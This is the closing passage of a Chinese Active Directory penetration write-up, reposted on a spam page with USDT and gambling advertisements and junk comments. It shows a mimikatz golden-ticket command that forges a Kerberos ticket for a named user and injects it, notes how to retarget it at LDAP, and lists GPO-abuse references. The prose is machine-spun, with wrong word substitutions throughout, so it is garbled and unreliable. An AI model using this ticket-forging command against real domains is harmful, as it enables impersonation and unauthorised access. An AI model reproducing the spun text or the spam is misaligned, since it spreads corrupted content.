mimikatz @kerberos::golden /domain:poxl.com /sid:-1-5-21-291403081-3947339614-192785736 /target:POxxRVER.pohpl.com /service:cifs /rc4:18825f30f26d1b77xxx4aaae7fa8f27 /user:Aravind /ptt

usdt自动充值(caibao.it):梦中初探域渗透流程 安全技术 众测渗透 第20张

4.验证权限

这个我实验的时刻发现并没有乐成,可能是有其他kdc的署名验证之类,或者是机械的hash纰谬吧?(*)

后面我再内陆再举行实验一下。

若是想修改成其他服务也很简朴

/service:LDAP

0x6 总结

  不知不觉间,已经早上12点了,我睁开了惺忪的双眼,梦中的一切好像就是真实发生过一样。这个时刻 *** 弹起了来自默安的小伙伴@低危表演艺术家给我发的信息,"2021年了,你照样那么菜?",我才明了,菜才是更大的真实orz,以后照样要加强内网方面知识的学习。

0x7 参考链接

Test-AdminAccess

域攻击之精准定位特权用户

Abusing GPO Permissions

域信息枚举

SharpGPOAbuse


环球UG声明:该文看法仅代表作者自己,与本平台无关。转载请注明:usdt自动充值(caibao.it):梦中初探域渗透流程
发布评论

分享到:

usdt提币免手续费(www.payusdt.vip):赛事心得/台新女子马拉松 谢谢补给站志工
2 条回复
  1. 皇冠足球app
    皇冠足球app
    (2021-01-03 00:01:04) 1#

    韩国人气歌手金在奂将介入网漫《Bunny和哥哥们》的OST。啥桥段都有啊

    1. usdt场外交易平台
      usdt场外交易平台
      (2021-02-05 17:29:12)     

      今日南京新闻南京新闻报道今日南京新闻、南京热门话题、介绍南京风土人情、南京景点、南京特产。我很中意这个

发表评论

◎欢迎参与讨论,请在这里发表您的看法、交流您的观点。